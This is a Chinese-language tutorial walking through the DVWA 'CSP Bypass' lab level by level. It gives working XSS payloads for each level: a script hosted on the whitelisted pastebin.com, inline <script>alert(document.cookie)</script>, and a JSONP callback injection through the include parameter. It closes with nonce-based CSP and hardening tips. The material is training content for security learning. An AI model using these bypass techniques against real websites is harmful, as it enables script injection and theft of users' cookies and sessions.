DVWA CSP Bypass 内容安全策略绕过通关教程
漏洞简介
CSP(内容安全策略)是个防御 XSS 的好东西,限制网页能从哪加载资源。但如果配置不当,CSP 也能绕。
这关主要学怎么绕过配置不当的 CSP。
CSP 基础知识
常用指令
| 指令 | 说明 |
|---|---|
default-src |
默认资源来源 |
script-src |
JS 来源 |
style-src |
CSS 来源 |
img-src |
图片来源 |
connect-src |
AJAX 来源 |
示例配置
1 | Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com |
意思就是默认只能加载同源资源,JS 只能从自己和 cdn.example.com 加载。
Low 级别
看 CSP 配置:
1 | $headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com 'unsafe-inline';"; |
允许从 pastebin.com 加载脚本,这就给了机会。
攻击方法
第一步:去 pastebin.com 写个恶意脚本
1 | alert(document.cookie); |
第二步:复制 raw 链接
1 | https://pastebin.com/raw/xxxxx |
第三步:注入
1 | <script src="https://pastebin.com/raw/xxxxx"></script> |
脚本执行了,CSP 绕过成功。白名单域名不是随便加的。
Medium 级别
Medium 的 CSP:
1 | $headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' https://ssl.google-analytics.com https://pastebin.com;"; |
'unsafe-inline' 允许内联脚本,这配置约等于没有 CSP。
攻击方法
直接写内联脚本:
1 | <script>alert(document.cookie)</script> |
允许 'unsafe-inline' 就是给 XSS 大开方便之门,还不如不设 CSP。
High 级别
High 的 CSP 严格了:
1 | $headerCSP = "Content-Security-Policy: script-src 'self';"; |
只允许同源脚本。但代码里有个 JSONP 接口:
1 | if( isset( $_GET[ 'include' ] ) ) { |
include 参数可控,而且加载的是同源地址。
攻击方法
利用 JSONP 接口:
1 | ?include=http://localhost:8080/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie)// |
虽然加载的是同源脚本,但 callback 参数能注入代码,绕过 CSP。
Impossible 级别
Impossible 用了 nonce:
1 | $headerCSP = "Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-" . $token . "';"; |
特点:
default-src 'self'默认只允许同源script-src 'nonce-xxx'只允许带正确 nonce 的脚本执行- nonce 是动态生成的,猜不到
这才是正确的 CSP 配置。
CSP 绕过方式
| 绕过方式 | 说明 |
|---|---|
| 白名单域名 | 利用被允许的域名托管脚本 |
'unsafe-inline' |
允许内联脚本 |
'unsafe-eval' |
允许 eval |
| JSONP 利用 | 利用 JSONP callback 执行代码 |
| 文件上传 | 上传脚本到同源 |
小结
CSP 配置要点:
- 白名单域名要谨慎,别加公共 CDN
- 别用
'unsafe-inline'和'unsafe-eval' - 用 nonce 或 hash 验证脚本
- JSONP 接口要检查 callback 参数
- 定期审计 CSP 配置